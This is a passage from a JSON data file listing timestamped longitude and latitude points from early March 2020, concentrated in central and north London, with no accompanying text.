6448864058,"latitude":51.50139993114295},{"time":1583233413494,"longitude":-0.08487086206826461,"latitude":51.50091549192188},{"time":1583235530904,"longitude":-0.07941770931107044,"latitude":51.50005439186587},{"time":1583235555441,"longitude":-0.09041177113709441,"latitude":51.49940587552634},{"time":1583235635851,"longitude":-0.08728046413117344,"latitude":51.500473413870914},{"time":1583235707107,"longitude":-0.08681316628293365,"latitude":51.49957806755171},{"time":1583236010657,"longitude":-0.08241229048924355,"latitude":51.49961538309229},{"time":1583236155028,"longitude":-0.08058727299885861,"latitude":51.500905791175335},{"time":1583236307385,"longitude":-0.07802166872236466,"latitude":51.49954845022195},{"time":1583236354376,"longitude":-0.08352306757991332,"latitude":51.50094962532262},{"time":1583236457091,"longitude":-0.09019143175504982,"latitude":51.500731799519684},{"time":1583236848250,"longitude":-0.07798591295629344,"latitude":51.5071599164909},{"time":1583236953532,"longitude":-0.07341477736779513,"latitude":51.51685353745135},{"time":1583236978893,"longitude":-0.07710745187173222,"latitude":51.50815403101623},{"time":1583237104934,"longitude":-0.07759863990091918,"latitude":51.500282160355425},{"time":1583237111687,"longitude":-0.07981282344303207,"latitude":51.5006708746382},{"time":1583237175349,"longitude":-0.07979180240598518,"latitude":51.50077876694039},{"time":1583237199256,"longitude":-0.08887931012772374,"latitude":51.50090760116897},{"time":1583237409632,"longitude":-0.08345071282169292,"latitude":51.50085243708532},{"time":1583237505353,"longitude":-0.08130716823168577,"latitude":51.500602058191},{"time":1583237509011,"longitude":-0.08232188983204386,"latitude":51.4998912733775},{"time":1583237516954,"longitude":-0.07657902150173716,"latitude":51.516841984501454},{"time":1583237594251,"longitude":-0.08383536773068359,"latitude":51.500940991796334},{"time":1583237823053,"longitude":-0.07442430185019185,"latitude":51.515858497200874},{"time":1583237859952,"longitude":-0.07938578029739636,"latitude":51.515761010976014},{"time":1583238032351,"longitude":-0.07273353747591059,"latitude":51.51422144609201},{"time":1583238042252,"longitude":-0.07402460181877207,"latitude":51.507425506805205},{"time":1583238067724,"longitude":-0.07652282166019782,"latitude":51.514007670313966},{"time":1583238086277,"longitude":-0.07784064459860209,"latitude":51.51456193493394},{"time":1583238100698,"longitude":-0.07411421432235499,"latitude":51.51486022242462},{"time":1583238139922,"longitude":-0.0781520735001965,"latitude":51.517898136473946},{"time":1583238164761,"longitude":-0.0737900082529355,"latitude":51.51329690524038},{"time":1583238207456,"longitude":-0.07672323831343389,"latitude":51.508960862947156},{"time":1583238330445,"longitude":-0.0729098402320029,"latitude":51.513595288206325},{"time":1583238560408,"longitude":-0.07494316535800699,"latitude":51.51493869843302},{"time":1583238586527,"longitude":-0.07755596635838526,"latitude":51.51603166036576},{"time":1583238740555,"longitude":-0.07548254194234866,"latitude":51.51476508178359},{"time":1583238755474,"longitude":-0.07418560883016395,"latitude":51.517311924947094},{"time":1583238798936,"longitude":-0.07482187960405368,"latitude":51.51276417429788},{"time":1583238805342,"longitude":-0.07664310845333173,"latitude":51.517942079634366},{"time":1583238848840,"longitude":-0.07443519289426427,"latitude":51.51596036569744},{"time":1583238899426,"longitude":-0.07399926881272312,"latitude":51.51550376541047},{"time":1583239002648,"longitude":-0.07847759409577919,"latitude":51.51156665541275},{"time":1583239025927,"longitude":-0.07466022975631391,"latitude":51.51345085061266},{"time":1583239033549,"longitude":-0.07717052659537685,"latitude":51.51471388566507},{"time":1583239089663,"longitude":-0.07292915059844231,"latitude":51.514869921799686},{"time":1583239114377,"longitude":-0.07769969262250372,"latitude":51.51624626297236},{"time":1583239150477,"longitude":-0.07793836462577676,"latitude":51.512310672406684},{"time":1583239248972,"longitude":-0.07955212738485692,"latitude":51.51258634853853},{"time":1583239306830,"longitude":-0.06625789469284493,"latitude":51.50880289410784},{"time":1583239816151,"longitude":-0.0771715212852234,"latitude":51.51453455562924},{"time":1583239882503,"longitude":-0.08291113680128603,"latitude":51.526115517250425},{"time":1583239934062,"longitude":-0.08251370671574487,"latitude":51.50050643441404},{"time":1583239936932,"longitude":-0.08083899307463747,"latitude":51.51895535236397},{"time":1583239970897,"longitude":-0.0824282682765892,"latitude":51.499361824766886},{"time":1583240206082,"longitude":-0.07960066513613795,"latitude":51.51386764762703},{"time":1583240233739,"longitude":-0.08252967448891421,"latitude":51.499812403247354},{"time":1583240680288,"longitude":-0.08406673695981648,"latitude":51.49938214562624},{"time":1583240932245,"longitude":-0.08168923683086879,"latitude":51.51334116163718},{"time":1583240938517,"longitude":-0.07999485871120116,"latitude":51.51297126976778},{"time":1583240940530,"longitude":-0.08606808131874459,"latitude":51.499516953370176},{"time":1583240941223,"longitude":-0.083163134587305,"latitude":51.52242975277696},{"time":1583240960880,"longitude":-0.06285735509318013,"latitude":51.52069915973283},{"time":1583240977236,"longitude":-0.0644894957079324,"latitude":51.50219241316474},{"time":1583241123773,"longitude":-0.08433296887997149,"latitude":51.50739167233532},{"time":1583241138584,"longitude":-0.08334587445963487,"latitude":51.49929473615348},{"time":1583241140039,"longitude":-0.08511814245601548,"latitude":51.51313435359284},{"time":1583241275093,"longitude":-0.0698332220699759,"latitude":51.49724414932258},{"time":1583241318160,"longitude":-0.0713163168675169,"latitude":51.50756477300727},{"time":1583241692569,"longitude":-0.08209415852272703,"latitude":51.499901278547874},{"time":1583241863888,"longitude":-0.08712127338603916,"latitude":51.49955143347554},{"time":1583241880608,"longitude":-0.08738026376748795,"latitude":51.500151615348145},{"time":1583242016546,"longitude":-0.08208296821065,"latitude":51.49936561294327},{"time":1583242083796,"longitude":-0.08329036708272039,"latitude":51.500924282128565},{"time":1583242524830,"longitude":-0.08402728177370428,"latitude":51.49934856869301},{"time":1583242701810,"longitude":-0.08273734440048214,"latitude":51.50076847331566},{"time":1583252817100,"longitude":-0.08742922566757844,"latitude":51.502113802045265},{"time":1583252861225,"longitude":-0.09221266627997313,"latitude":51.49973071402793},{"time":1583252982849,"longitude":-0.08230359885766209,"latitude":51.50024056029937},{"time":1583253182740,"longitude":-0.08175746098255017,"latitude":51.50029845456197},{"time":1583253184903,"longitude":-0.08140779941784933,"latitude":51.50046682924372},{"time":1583253356722,"longitude":-0.0781147103982325,"latitude":51.498752221273804},{"time":1583253380255,"longitude":-0.08368332893057039,"latitude":51.49966516311873},{"time":1583253590514,"longitude":-0.08386545681978692,"latitude":51.50020971722834},{"time":1583253705842,"longitude":-0.08504213980730518,"latitude":51.50114300855002},{"time":1583254069461,"longitude":-0.08353037239561113,"latitude":51.50044522427063},{"time":1583254145562,"longitude":-0.08737548143955261,"latitude":51.49932627281149},{"time":1583254276122,"longitude":-0.08437059908037048,"latitude":51.49919051027837},{"time":1583254324357,"longitude":-0.09177930576868311,"latitude":51.498661918084785},{"time":1583254510544,"longitude":-0.08673053082541124,"latitude":51.498979680734},{"time":1583254533651,"longitude":-0.0921816758171467,"latitude":51.501127111162646},{"time":1583254561176,"longitude":-0.08046508908260713,"latitude":51.50174534819151},{"time":1583254561901,"longitude":-0.08683821132674475,"latitude":51.49871647746764},{"time":1583254622316,"longitude":-0.09147858632366572,"latitude":51.5019527005242},{"time":1583254681238,"longitude":-0.07595221499768168,"latitude":51.49986357625294},{"time":1583254764222,"longitude":-0.09008952698989911,"latitude":51.50176019968024},{"time":1583254800333,"longitude":-0.08839969538400688,"latitude":51.49949286472687},{"time":1583254896036,"longitude":-0.08049614596382783,"latitude":51.49941339980419},{"time":1583254936357,"longitude":-0.08821575782912996,"latitude":51.50263548349335},{"time":1583255042583,"longitude":-0.09137041861995851,"latitude":51.49959619133407},{"time":1583255197531,"longitude":-0.08826192200237011,"latitude":51.500295035103065},{"time":1583255270341,"longitude":-0.08873736059217338,"latitude":51.5022196650551},{"time":1583255350121,"longitude":-0.08059585585859107,"latitude":51.50064586768965},{"time":1583255924962,"longitude":-0.0812092737041964,"latitude":51.50271024400088},{"time":1583256024771,"longitude":-0.08128351183058143,"latitude":51.500606968652164},{"time":1583256346436,"longitude":-0.0773916128059477,"latitude":51.50231160773266},{"time":1583256405542,"longitude":-0.10817172919346729,"latitude":51.54539838498398},{"time":1583256455541,"longitude":-0.0811345139362856,"latitude":51.500934510372566},{"time":1583256542404,"longitude":-0.12002232246475085,"latitude":51.548679830999056},{"time":1583256557414,"longitude":-0.11180532015599487,"latitude":51.54317167608654},{"time":1583256585933,"longitude":-0.08386049269735434,"latitude":51.502075317593686},{"time":1583256589877,"longitude":-0.10602215839419545,"latitude":51.54801206322192},{"time":1583256734646,"longitude":-0.07864082921938263,"latitude":51.501970655921106},{"time":1583256750259,"longitude":-0.117251392750736,"latitude":51.54861168713638},{"time":1583256778242,"longitude":-0.11437300141071731,"latitude":51.544922302874674},{"time":1583256909406,"longitude":-0.11174424534153261,"latitude":51.54929582602109},{"time":1583256955883,"longitude":-0.11840364015028895,"latitude":51.543494155968666},{"time":1583257098671,"longitude":-0.12045722604696825,"latitude":51.54671207051224},{"time":1583257252701,"longitude":-0.11559015524094948,"latitude":51.548756825337506},{"time":1583257275577,"longitude":-0.118852376737784,"latitude":51.54450469410712},{"time":1583257294670,"longitude":-0.1091101078595604,"latitude":51.54928658417681},{"time":1583257442338,"longitude":-0.1209797508314346,"latitude":51.54931221060122},{"time":1583257645248,"longitude":-0.10929236963783602,"latitude":51.54584745384111},{"time":1583257999315,"longitude":-0.11519196478046086,"latitude":51.54718022009885},{"time":1583258196930,"longitude":-0.11042128623308102,"latitude":51.54281134764926},{"time":1583258249100,"longitude":-0.10760424841730454,"latitude":51.54507893699381},{"time":1583258366807,"longitude":-0.10844211823020232,"latitude":51.54872364090187},{"time":1583258464634,"longitude":-0.11053710147756024,"latitude":51.5447154926039},{"time":1583258712718,"longitude":-0.11246450928884001,"latitude":51.5469476978991},{"time":1583306493469,"longitude":-0.10598966963750217,"latitude":51.551884926445545},{"time":1583306560866,"longitude":-0.11689537781259661,"latitude":51.540460635898626},{"time":1583306595238,"longitude":-0.10994948891037999,"latitude":51.541638981170124},{"time":1583306849014,"longitude":-0.10677762647947488,"latitude":51.553488264417915},{"time":1583307590992,"longitude":-0.10552234571987248,"latitude":51.54631737460787},{"time":1583307734548,"longitude":-0.11646609507087055,"latitude":51.53954227373561},{"time":1583307815890,"longitude":-0.1194427410510884,"latitude":51.54595498081437},{"time":1583307979578,"longitude":-0.10364843487256416,"latitude":51.54657390893702},{"time":1583308101323,"longitude":-0.10156411685975383,"latitude":51.545221028986724},{"time":1583308154715,"longitude":-0.10177968442505374,"latitude":51.54402237178909},{"time":1583308366472,"longitude":-0.1030353360331833,"latitude":51.5407930490177},{"time":1583308411471,"longitude":-0.10184688601528226,"latitude":51.54393053581739},{"time":1583308564454,"longitude":-0.11281013185164404,"latitude":51.55251056123545},{"time":1583308658663,"longitude":-0.10913743911030131,"latitude":51.550121487876005},{"time":1583309074834,"longitude":-0.08013760454333478,"latitude":51.50590659021034},{"time":1583309109094,"longitude":-0.11641941303376778,"latitude":51.5431334089148},{"time":1583309437871,"longitude":-0.11905244233454926,"latitude":51.544388168828256},{"time":1583309779878,"longitude":-0.11740391217329574,"latitude":51.55056451309167},{"time":1583309884825,"longitude":-0.08092387473857693,"latitude":51.49736264300244},{"time":1583310103340,"longitude":-0.08199007120103295,"latitude":51.50656585585552},{"time":1583310302475,"longitude":-0.08948259391967527,"latitude":51.50260465692621},{"time":1583310313721,"longitude":-0.09158579579808337,"latitude":51.50161305958879},{"time":1583310492381,"longitude":-0.08087098535670018,"latitude":51.49409622234993},{"time":1583310836310,"longitude":-0.08431265152946103,"latitude":51.497567025447964},{"time":1583310880253,"longitude":-0.07784940235800702,"latitude":51.50396982118281},{"time":1583311088165,"longitude":-0.08775891173473571,"latitude":51.509100691506674},{"time":1583311121983,"longitude":-0.09329737610366687,"latitude":51.502039818325834},{"time":1583311135791,"longitude":-0.07834436862789827,"latitude":51.49810632844411},{"time":1583311253472,"longitude":-0.0881448315041708,"latitude":51.49620805766124},{"time":1583311326693,"longitude":-0.07916590666713796,"latitude":51.49625162454192},{"time":1583311472784,"longitude":-0.08669163491879622,"latitude":51.50578103603063},{"time":1583311558022,"longitude":-0.08496472322715062,"latitude":51.50848739680818},{"time":1583311565054,"longitude":-0.08607321075915848,"latitude":51.49838504225657},{"time":1583311962474,"longitude":-0.08888922747756821,"latitude":51.505646748503146},{"time":1583312085864,"longitude":-0.09348271853228804,"latitude":51.50528823261167},{"time":1583312154390,"longitude":-0.08980204658686848,"latitude":51.496622410245465},{"time":1583312322930,"longitude":-0.09013206284826815,"latitude":51.50789428775052},{"time":1583312325205,"longitude":-0.08609068136515845,"latitude":51.494140438704584},{"time":1583312400366,"longitude":-0.07894485269275739,"latitude":51.49618534698516},{"time":1583312418650,"longitude":-0.08035883778088705,"latitude":51.50371871755531},{"time":1583312972960,"longitude":-0.08588315651164039,"latitude":51.501605924665846},{"time":1583313069053,"longitude":-0.0861003607795162,"latitude":51.50260771935365},{"time":1583313265688,"longitude":-0.08479146480087245,"latitude":51.499158630168566},{"time":1583313303727,"longitude":-0.08628140030905984,"latitude":51.50167681785335},{"time":1583313502337,"longitude":-0.08631664184338685,"latitude":51.501863218131525},{"time":1583313872090,"longitude":-0.08600758041400892,"latitude":51.5015257232322},{"time":1583314310718,"longitude":-0.08602908098447255,"latitude":51.49814614406293},{"time":1583314425862,"longitude":-0.08527668277014411,"latitude":51.50110486661636},{"time":1583314763944,"longitude":-0.08600331105963566,"latitude":51.503087510065285},{"time":1583314785106,"longitude":-0.08541341752377883,"latitude":51.49896820046619},{"time":1583314794071,"longitude":-0.08601399893626605,"latitude":51.49760661487198},{"time":1583314861398,"longitude":-0.08520167048558971,"latitude":51.50333866355631},{"time":1583315021441,"longitude":-0.08436458615485386,"latitude":51.50274980994865},{"time":1583315223647,"longitude":-0.08403023048463248,"latitude":51.502523360658536},{"time":1583315449274,"longitude":-0.08595173684030573,"latitude":51.49895978255683},{"time":1583341038157,"longitude":-0.08503140835246607,"latitude":51.50103201055625},{"time":1583341428841,"longitude":-0.08563607873325287,"latitude":51.49951170519261},{"time":1583341926931,"longitude":-0.08499122543214797,"latitude":51.500897790232386},{"time":1583342422000,"longitude":-0.08496709001958032,"latitude":51.50103064740472},{"time":1583342679282,"longitude":-0.08053736751683394,"latitude":51.50515184248177},{"time":1583342827875,"longitude":-0.08439911032889422,"latitude":51.49758161131556},{"time":1583342894852,"longitude":-0.07193872675120855,"latitude":51.49830854998644},{"time":1583343035250,"longitude":-0.08681638197664027,"latitude":51.505401307736214},{"time":1583343055791,"longitude":-0.07966187210363448,"latitude":51.49750491977861},{"time":1583343081566,"longitude":-0.09507418387515135,"latitude":51.499171610957546},{"time":1583343165808,"longitude":-0.07832502171005873,"latitude":51.50443072672906},{"time":1583343490570,"longitude":-0.07210923079332279,"latitude":51.503363616588615},{"time":1583343805584,"longitude":-0.08804900825355177,"latitude":51.502565710787444},{"time":1583343860970,"longitude":-0.07584941774714424,"latitude":51.50326438332836},{"time":1583343873900,"longitude":-0.08519985900658461,"latitude":51.49935893031517},{"time":1583343944584,"longitude":-0.08434799537682998,"latitude":51.50351993986095},{"time":1583343966177,"longitude":-0.08534816872127819,"latitude":51.5011240769916},{"time":1583343996105,"longitude":-0.085139891358192,"latitude":51.50117018643564},{"time":1583344024908,"longitude":-0.07953066646304287,"latitude":51.497525196830985},{"time":1583344031658,"longitude":-0.07722391317865757,"latitude":51.50266617755467},{"time":1583344227203,"longitude":-0.08136760666816736,"latitude":51.497980367217764},{"time":1583344239844,"longitude":-0.08380987746993024,"latitude":51.500386570362096},{"time":1583344355021,"longitude":-0.0892667546586377,"latitude":51.5051285463634},{"time":1583344407904,"longitude":-0.07700461902153585,"latitude":51.498953161161765},{"time":1583344504060,"longitude":-0.07630430033728715,"latitude":51.5089004862029},{"time":1583344518503,"longitude":-0.07552829128261002,"latitude":51.508469953535375},{"time":1583344570024,"longitude":-0.07241975204433226,"latitude":51.50618184174722},{"time":1583344747409,"longitude":-0.09191241059754074,"latitude":51.50056784687584},{"time":1583344874786,"longitude":-0.08436172058333392,"latitude":51.49750758627868},{"time":1583344979490,"longitude":-0.07638420430912997,"latitude":51.50949174001924},{"time":1583345097832,"longitude":-0.0856373725194915,"latitude":51.49711231641554},{"time":1583345202822,"longitude":-0.07296099420880153,"latitude":51.506480960465304},{"time":1583345333476,"longitude":-0.07442561001932796,"latitude":51.50479552094184},{"time":1583345457704,"longitude":-0.07608869452490966,"latitude":51.507612880173326},{"time":1583345737533,"longitude":-0.09016423745899493,"latitude":51.50186731832329},{"time":1583345852239,"longitude":-0.08572170521321319,"latitude":51.50253087622421},{"time":1583345886216,"longitude":-0.08087035247299142,"latitude":51.497230291044545},{"time":1583345946528,"longitude":-0.07538690889034977,"latitude":51.503692906944444},{"time":1583345969951,"longitude":-0.07570084801048928,"latitude":51.5082227617028},{"time":1583346006944,"longitude":-0.07353811916596945,"latitude":51.50100480633419},{"time":1583346074955,"longitude":-0.08591182019981074,"latitude":51.50537731073327},{"time":1583346106927,"longitude":-0.07465648470902625,"latitude":51.50866099895266},{"time":1583346312646,"longitude":-0.0744270273998481,"latitude":51.504266879098665},{"time":1583346330069,"longitude":-0.08856987968007553,"latitude":51.50319336882238},{"time":1583346356343,"longitude":-0.07369312442469711,"latitude":51.50750921647432},{"time":1583346359438,"longitude":-0.07882113328878047,"latitude":51.505147979272046},{"time":1583346424235,"longitude":-0.07164726422717797,"latitude":51.49980670102871},{"time":1583346496111,"longitude":-0.07412530962573388,"latitude":51.50407728623228},{"time":1583346672502,"longitude":-0.07555043004976272,"latitude":51.50609481904302},{"time":1583346714697,"longitude":-0.08386927311705955,"latitude":51.50330303058232},{"time":1583346734115,"longitude":-0.09228378567383377,"latitude":51.50290077815223},{"time":1583346875474,"longitude":-0.07463346272403072,"latitude":51.5082907516389},{"time":1583346959713,"longitude":-0.07630509292280184,"latitude":51.50775762816654},{"time":1583347078129,"longitude":-0.0739615682179947,"latitude":51.50535957941331},{"time":1583347090849,"longitude":-0.0743264307213663,"latitude":51.50712577234024},{"time":1583347144538,"longitude":-0.07460242922509515,"latitude":51.50475957919758},{"time":1583347164784,"longitude":-0.07648027741287994,"latitude":51.50928638431043},{"time":1583347195679,"longitude":-0.0741942438322509,"latitude":51.50723642739744},{"time":1583347216991,"longitude":-0.0744307749269634,"latitude":51.50696327833392},{"time":1583347228854,"longitude":-0.07456736726950275,"latitude":51.503866904140565},{"time":1583347294440,"longitude":-0.07447416567357733,"latitude":51.50714148130107},{"time":1583347368923,"longitude":-0.0742577897985657,"latitude":51.50725847218406},{"time":1583347406837,"longitude":-0.07437668190411402,"latitude":51.50708466778193},{"time":1583347452309,"longitude":-0.07427789533629928,"latitude":51.50714789193101},{"time":1583347548228,"longitude":-0.07662006813883217,"latitude":51.5055085213601},{"time":1583347584971,"longitude":-0.07431174213675958,"latitude":51.50703797658661},{"time":1583347592085,"longitude":-0.07420603190489913,"latitude":51.5072170479477},{"time":1583347824645,"longitude":-0.07309040759835765,"latitude":51.5052803757689},{"time":1583347894876,"longitude":-0.0741925096640745,"latitude":51.50723264855655},{"time":1583347936976,"longitude":-0.07437573590939453,"latitude":51.50688051238091},{"time":1583347960097,"longitude":-0.07449026612867059,"latitude":51.50727237936043},{"time":1583348101376,"longitude":-0.07539601372668205,"latitude":51.50977202481685},{"time":1583348153830,"longitude":-0.07435301849021342,"latitude":51.506588501839154},{"time":1583348157177,"longitude":-0.07419389199149602,"latitude":51.507284830686906},{"time":1583348200172,"longitude":-0.07617388429942591,"latitude":51.50368214339586},{"time":1583348208850,"longitude":-0.07423308632222335,"latitude":51.507059419778834},{"time":1583348223404,"longitude":-0.07462472552831989,"latitude":51.50754613442449},{"time":1583348263391,"longitude":-0.07472214470841494,"latitude":51.50689498971954},{"time":1583348264918,"longitude":-0.07454227088501116,"latitude":51.50720660041546},{"time":1583348275501,"longitude":-0.07568946602375085,"latitude":51.50901861550135},{"time":1583348325152,"longitude":-0.07267011755529358,"latitude":51.50496628552693},{"time":1583348365096,"longitude":-0.0748308802070252,"latitude":51.509063258806464},{"time":1583348392014,"longitude":-0.07421681263461419,"latitude":51.5074826088155},{"time":1583348447998,"longitude":-0.07424714854055714,"latitude":51.50728574700786},{"time":1583348460406,"longitude":-0.07250881448444552,"latitude":51.509087479027265},{"time":1583348472877,"longitude":-0.07433842179392856,"latitude":51.50729232953251},{"time":1583348475008,"longitude":-0.07447553587078734,"latitude":51.506887116080634},{"time":1583348479688,"longitude":-0.07465545754904813,"latitude":51.50698720691657},{"time":1583348512862,"longitude":-0.0760645476760443,"latitude":51.50563366491133},{"time":1583348647623,"longitude":-0.07449095156250689,"latitude":51.50730988512427},{"time":1583348661746,"longitude":-0.07385242548229014,"latitude":51.508682245389394},{"time":1583348678868,"longitude":-0.07449280496497215,"latitude":51.5068337548901},{"time":1583348757489,"longitude":-0.0741213184249151,"latitude":51.50712169139566},{"time":1583348794571,"longitude":-0.07425674802630329,"latitude":51.50703937411375},{"time":1583348807491,"longitude":-0.07451765172377156,"latitude":51.507195848335556},{"time":1583348832191,"longitude":-0.0742972030257229,"latitude":51.50718186434086},{"time":1583348841901,"longitude":-0.0744778599161985,"latitude":51.50726974032182},{"time":1583348895823,"longitude":-0.0746538287518582,"latitude":51.507451970288116},{"time":1583348906471,"longitude":-0.07428915861736801,"latitude":51.50728900098428},{"time":1583348970709,"longitude":-0.07422003514169968,"latitude":51.50749174932109},{"time":1583349098580,"longitude":-0.07411968771797259,"latitude":51.507133969934095},{"time":1583349135446,"longitude":-0.07415258643243876,"latitude":51.50687048943881},{"time":1583349190206,"longitude":-0.0741233939399186,"latitude":51.50729835147674},{"time":1583349249762,"longitude":-0.0742694045415349,"latitude":51.50690266952549},{"time":1583349382744,"longitude":-0.07423130284401351,"latitude":51.507167776116326},{"time":1583349388929,"longitude":-0.07430221610372519,"latitude":51.50700683970913},{"time":1583349425083,"longitude":-0.07406082734348424,"latitude":51.50667284407674},{"time":1583349595834,"longitude":-0.0745723068462435,"latitude":51.50706304643963},{"time":1583349653999,"longitude":-0.07445062297654102,"latitude":51.50712524426129},{"time":1583349782337,"longitude":-0.07426378119179781,"latitude":51.50704361561056},{"time":1583349930024,"longitude":-0.07424489270258718,"latitude":51.50713369566802},{"time":1583349983440,"longitude":-0.07466444531138718,"latitude":51.50702802825788},{"time":1583350587361,"longitude":-0.07407440322416944,"latitude":51.50662827856582},{"time":1583350617711,"longitude":-0.07439656049188033,"latitude":51.50719140646141},{"time":1583350635987,"longitude":-0.07418212050245758,"latitude":51.50745517920644},{"time":1583350814460,"longitude":-0.07424620135159951,"latitude":51.5068475945109},{"time":1583350846751,"longitude":-0.07432798000387889,"latitude":51.507006977138154},{"time":1583350849029,"longitude":-0.07413321828224435,"latitude":51.50730151587209},{"time":1583350857787,"longitude":-0.0742004863039508,"latitude":51.507379990655835},{"time":1583350953418,"longitude":-0.07409129779161769,"latitude":51.507140001972736},{"time":1583351079735,"longitude":-0.07457412907259782,"latitude":51.506785262382934},{"time":1583351087620,"longitude":-0.07456294931394003,"latitude":51.50704703425816},{"time":1583351201817,"longitude":-0.07448414237313779,"latitude":51.50686223455511},{"time":1583351239580,"longitude":-0.0740308356840356,"latitude":51.507218294636324},{"time":1583351293392,"longitude":-0.07427965155671018,"latitude":51.507467093524184},{"time":1583351322050,"longitude":-0.07463333060671583,"latitude":51.507335747354794},{"time":1583351341060,"longitude":-0.07423531843317621,"latitude":51.50708168371925},{"time":1583351396044,"longitude":-0.0743055210237313,"latitude":51.5069590655967},{"time":1583351498884,"longitude":-0.07416801155931549,"latitude":51.506985935067604},{"time":1583351619936,"longitude":-0.07458351492991033,"latitude":51.50673037634312},{"time":1583351730161,"longitude":-0.07437482439046497,"latitude":51.506710687926876},{"time":1583351738616,"longitude":-0.07409785105640866,"latitude":51.50740400155377},{"time":1583351746057,"longitude":-0.07422924332282169,"latitude":51.50711269984534},{"time":1583351783890,"longitude":-0.07463774317432717,"latitude":51.507252114893696},{"time":1583351831417,"longitude":-0.07451351156844768,"latitude":51.507011414881184},{"time":1583351882738,"longitude":-0.07422793074199581,"latitude":51.50701872590193},{"time":1583351887114,"longitude":-0.07418566555407315,"latitude":51.507282752680545},{"time":1583351887270,"longitude":-0.07418972625738217,"latitude":51.5070185264589},{"time":1583351900099,"longitude":-0.07428441168752467,"latitude":51.50753500232089},{"time":1583351942803,"longitude":-0.07452833055063658,"latitude":51.506962890576816},{"time":1583351978339,"longitude":-0.07425370833133774,"latitude":51.50668782668183},{"time":1583352013794,"longitude":-0.07447647415279045,"latitude":51.50689766489007},{"time":1583352084969,"longitude":-0.0745506824661654,"latitude":51.50700443158322},{"time":1583352085169,"longitude":-0.07440663774752904,"latitude":51.507268169602625},{"time":1583352096852,"longitude":-0.0743779819192579,"latitude":51.507158114071736},{"time":1583352115317,"longitude":-0.07471388722286691,"latitude":51.507329925542386},{"time":1583352132124,"longitude":-0.07428030902745021,"latitude":51.50742511170306},{"time":1583352161517,"longitude":-0.07432736816115997,"latitude":51.50688653364686},{"time":1583352190221,"longitude":-0.07434066937265359,"latitude":51.506948878158774},{"time":1583352190713,"longitude":-0.07415669043081918,"latitude":51.50696578850411},{"time":1583352231779,"longitude":-0.0744986485148074,"latitude":51.50690050469965},{"time":1583352300855,"longitude":-0.0743768058019211,"latitude":51.50689034648812},{"time":1583352323151,"longitude":-0.07447595842603322,"latitude":51.507417317918176},{"time":1583352351365,"longitude":-0.07408950345838633,"latitude":51.50706052058847},{"time":1583352383381,"longitude":-0.07412204752895844,"latitude":51.50705787294913},{"time":1583352398181,"longitude":-0.07414973003712934,"latitude":51.506892785212365},{"time":1583352553688,"longitude":-0.07427475184860004,"latitude":51.50702526434016},{"time":1583352554035,"longitude":-0.0741180842198419,"latitude":51.5071774851137},{"time":1583352736326,"longitude":-0.07430031508644858,"latitude":51.50685435022747},{"time":1583352786169,"longitude":-0.07438666500052274,"latitude":51.50711516026515},{"time":1583352836200,"longitude":-0.07454029322572107,"latitude":51.50693430157856},{"time":1583352929821,"longitude":-0.07449802107816926,"latitude":51.50704141040746},{"time":1583352982629,"longitude":-0.07436839803354205,"latitude":51.507280227716684},{"time":1583353014283,"longitude":-0.07454917565507317,"latitude":51.506846402324804},{"time":1583353148414,"longitude":-0.07430898026826392,"latitude":51.50695393462286},{"time":1583353309782,"longitude":-0.07434344417120796,"latitude":51.50712047904929},{"time":1583353345442,"longitude":-0.07448742950626874,"latitude":51.50715152313643},{"time":1583353432333,"longitude":-0.07447573288069159,"latitude":51.50716984745365},{"time":1583353576943,"longitude":-0.07438210623344443,"latitude":51.507074059862575},{"time":1583353620381,"longitude":-0.07426700044899161,"latitude":51.50687972159695},{"time":1583353993776,"longitude":-0.07441791350495362,"latitude":51.5070105347413},{"time":1583354034514,"longitude":-0.0745606694624661,"latitude":51.50690806202595},{"time":1583354204591,"longitude":-0.03892898469728946,"latitude":51.523678132590405},{"time":1583354316380,"longitude":-0.07437829992713052,"latitude":51.506883744410736},{"time":1583354366084,"longitude":-0.05328984912183017,"latitude":51.54836642520185},{"time":1583354531753,"longitude":-0.07436182531230037,"latitude":51.50693569253288},{"time":1583354555719,"longitude":-0.08099434858366444,"latitude":51.47480459105756},{"time":1583354916912,"longitude":-0.10477433222241131,"latitude":51.47745289223718},{"time":1583355030370,"longitude":-0.07450647155216387,"latitude":51.507098760490045},{"time":1583355115814,"longitude":-0.0744534942997278,"latitude":51.50695638313734},{"time":1583355122164,"longitude":-0.0379538669975003,"latitude":51.48224018339206},{"time":1583355265142,"longitude":-0.03799030497834741,"latitude":51.49097803752946},{"time":1583355324309,"longitude":-0.047683356769970944,"latitude":51.48800073478895},{"time":1583355365866,"longitude":-0.09961611160682458,"latitude":51.51635443304009},{"time":1583355558515,"longitude":-0.0745414131160603,"latitude":51.507072621347476},{"time":1583355626657,"longitude":-0.07445663776804627,"latitude":51.507103402494984},{"time":1583355656786,"longitude":-0.07454930106560535,"latitude":51.50685406697474},{"time":1583355676283,"longitude":-0.05078791737202605,"latitude":51.532315048547055},{"time":1583355720877,"longitude":-0.050378570627451755,"latitude":51.49012565001017},{"time":1583355967159,"longitude":-0.0953129085423795,"latitude":51.4734673594174},{"time":1583356363246,"longitude":-0.11417631581149237,"latitude":51.50798402887363},{"time":1583356406404,"longitude":-0.0476865800638217,"latitude":51.5183280454172},{"time":1583356535911,"longitude":-0.0755861982191306,"latitude":51.54702273469506},{"time":1583356570162,"longitude":-0.08683875517035215,"latitude":51.51796499056343},{"time":1583356850762,"longitude":-0.08281013610273288,"latitude":51.516907681933915},{"time":1583357345380,"longitude":-0.09574599332373113,"latitude":51.50411378837902},{"time":1583357411576,"longitude":-0.07771191545215426,"latitude":51.53996388640114},{"time":1583357554672,"longitude":-0.046431472242603605,"latitude":51.4744099864447},{"time":1583357577392,"longitude":-0.0836962662689025,"latitude":51.50025885017036},{"time":1583357614388,"longitude":-0.07494763987279347,"latitude":51.48933448910927},{"time":1583357671493,"longitude":-0.11107734147511195,"latitude":51.514994857629844},{"time":1583392180745,"longitude":-0.10994446755379522,"latitude":51.548184564022485},{"time":1583392227675,"longitude":-0.11094618818886154,"latitude":51.543203191326995},{"time":1583392388359,"longitude":-0.10983306846186297,"latitude":51.54682881470332},{"time":1583392716617,"longitude":-0.11349580245086202,"latitude":51.54298935801424},{"time":1583392953638,"longitude":-0.11020506713917506,"latitude":51.54672342847241},{"time":1583393582858,"longitude":-0.09934683297846414,"latitude":51.50448206680582},{"time":1583393747163,"longitude":-0.08622204757590222,"latitude":51.50910431291011},{"time":1583393778746,"longitude":-0.09448224070644604,"latitude":51.5201540076346},{"time":1583393874064,"longitude":-0.09705493013915349,"latitude":51.484556712234365},{"time":1583393904437,"longitude":-0.11018698277374211,"latitude":51.54812726784274},{"time":1583393964884,"longitude":-0